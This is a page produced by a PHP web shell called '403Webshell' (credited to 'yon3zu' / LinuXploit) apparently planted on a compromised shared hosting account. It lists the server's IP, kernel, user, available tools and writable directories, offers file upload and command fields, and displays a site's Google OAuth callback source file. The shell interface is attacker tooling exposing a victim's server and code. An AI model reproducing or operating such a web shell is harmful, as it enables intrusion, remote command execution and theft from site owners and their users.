403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/chatblueversion/auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/chatblueversion/auth/google-callback.php
<?php
require dirname(__DIR__).'/includes/bootstrap.php';
if(!hash_equals($_SESSION['oauth_state']??'',$_GET['state']??''))exit('Invalid OAuth state.');
$post=http_build_query(['code'=>$_GET['code']??'','client_id'=>$config['google']['client_id'],'client_secret'=>$config['google']['client_secret'],'redirect_uri'=>$config['google']['redirect_uri'],'grant_type'=>'authorization_code']);$ch=curl_init('https://oauth2.googleapis.com/token');curl_setopt_array($ch,[CURLOPT_POST=>true,CURLOPT_RETURNTRANSFER=>true,CURLOPT_POSTFIELDS=>$post]);$token=json_decode(curl_exec($ch)?:'{}',true);$ch=curl_init('https://openidconnect.googleapis.com/v1/userinfo');curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_HTTPHEADER=>['Authorization: Bearer '.($token['access_token']??'')]]);$g=json_decode(curl_exec($ch)?:'{}',true);if(empty($g['email']))exit('Google login failed.');
$pdo->beginTransaction();$s=$pdo->prepare('SELECT * FROM users WHERE email=?');$s->execute([strtolower($g['email'])]);$u=$s->fetch();if(!$u){$id=bin2hex(random_bytes(16));$pdo->prepare('INSERT INTO users(id,email,name,avatar_url,google_id) VALUES(?,?,?,?,?)')->execute([$id,strtolower($g['email']),$g['name']??'',$g['picture']??'',$g['sub']??'']);$s->execute([strtolower($g['email'])]);$u=$s->fetch();}$guestToken=$_COOKIE['bvx_guest']??'';if($guestToken){$q=$pdo->prepare('SELECT id FROM guest_sessions WHERE token_hash=?');$q->execute([hash('sha256',$guestToken)]);if($guest=$q->fetch()){$pdo->prepare('UPDATE conversations SET user_id=?,guest_id=NULL WHERE guest_id=?')->execute([$u['id'],$guest['id']]);$pdo->prepare('UPDATE guest_sessions SET converted_user_id=? WHERE id=?')->execute([$u['id'],$guest['id']]);}}$pdo->commit();$_SESSION['user']=['id'=>$u['id'],'email'=>$u['email'],'name'=>$u['name'],'role'=>$u['role'],'plan'=>$u['plan']];header('Location: ../index.php');

Youez - 2016 - github.com/yon3zu
LinuXploit